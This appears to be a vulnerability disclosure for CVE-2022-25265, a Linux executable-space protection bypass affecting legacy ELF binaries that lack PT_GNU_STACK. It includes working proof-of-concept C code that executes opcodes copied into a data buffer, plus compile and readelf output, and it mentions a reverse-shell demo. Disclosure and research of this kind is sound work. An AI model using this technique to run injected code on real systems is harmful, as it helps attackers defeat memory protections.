CVE-2022-25265 - Executable Space Protection Bypass
author:[xoreaxeax]
As it turns out, binary files built either under old Linux systems lacking NX or IA32 systems with NX,
which do NOT create PT_GNU_STACK
header will be marked and treated with exec-all
personality flag by the Linux kernel.
This allows for read/write/exec of bytes located in supposedly non-executable and non-writable regions of binary files, therefore completely bypassing executable-space protection.
The flawed implementation can be found here: https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/elf.h#L280
To achieve this, “historical” building tools will be used for building the binary.
In this case, specifically GCC 3.2.2
running on x86 Slackware9 with Linux 2.4.20.
The resulting binary file will be executable under modern Linux systems, in this case Linux 5.16.1
A CVE ID CVE-2022-25265 has been assigned to this vulnerability.
The very same effect MIGHT be achievable by using specific linker arguments/scripts, although this has not been verified.
The following code will copy assembled bytes of function dummy()
to character array harmless_str_buf
and execute the destination array as a function.
/* demo.c - https://github.com/x0reaxeax/exec-prot-bypass/blob/main/demo.c */
#define NULL ((void *) 0)
#define POC
#define BUFSIZE 128
char str[] = "noexec bypassed!\n";
/**
* This buffer will be loaded with dummy()'s opcodes
*/
char harmless_str_buf[BUFSIZE] = "xrandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomx";
/**
* dummy function - target shellcode
* opcodes of this function will be copied to harmless_str_buf.
* included for ease of POC demonstration
*/
void dummy(void) {
__asm__ volatile (
".intel_syntax noprefix;"
"mov eax, 4;" /* sys_write */
"mov ebx, 1;" /* stdout */
"mov ecx, %[str];"
"mov edx, 17;" /* strlen */
"int 0x80;" /* syscall */
"int3;" /* boundary */
".att_syntax;"
:: [str] "r" (str)
: "eax", "ebx", "ecx", "edx"
);
}
/**
* copies opcodes from `dummy()` to destination buf
*/
void (*copy_opcodes(unsigned char *output, unsigned int bufsiz)) (void) {
unsigned int i = 0;
unsigned char *dummy_ptr = (unsigned char *) dummy;
for (i = 0; i < bufsiz; i++) {
unsigned char opcode = *(dummy_ptr + i);
output[i] = opcode;
if (opcode == 0xcc) {
/* boundary hit */
break;
}
}
/* return the address of output buffer, which will be executed as a function */
return (void (*)()) output;
}
int _start(void) {
#ifdef POC /* execute opcodes in harmless_str_buf */
void (*pfunc)() = NULL;
pfunc = copy_opcodes(harmless_str_buf, BUFSIZE);
pfunc();
#else /* execute dummy() to demonstrate it's purpose */
dummy();
#endif
return 0; /* segfault */
}
Compilation:
$ gcc -nostdlib demo.c
The lack of PT_GNU_STACK
can be seen in the output of GNU binutil’s readelf(1)
:
$ readelf -l demo.elf32
Elf file type is EXEC (Executable file)
Entry point 0x80480e7
There are 2 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x08048000 0x08048000 0x00118 0x00118 R E 0x1000
LOAD 0x000120 0x08049120 0x08049120 0x000a0 0x000a0 RW 0x1000
Section to Segment mapping:
Segment Sections...
00 .text
01 .data
A demonstration with reverse shell can be seen here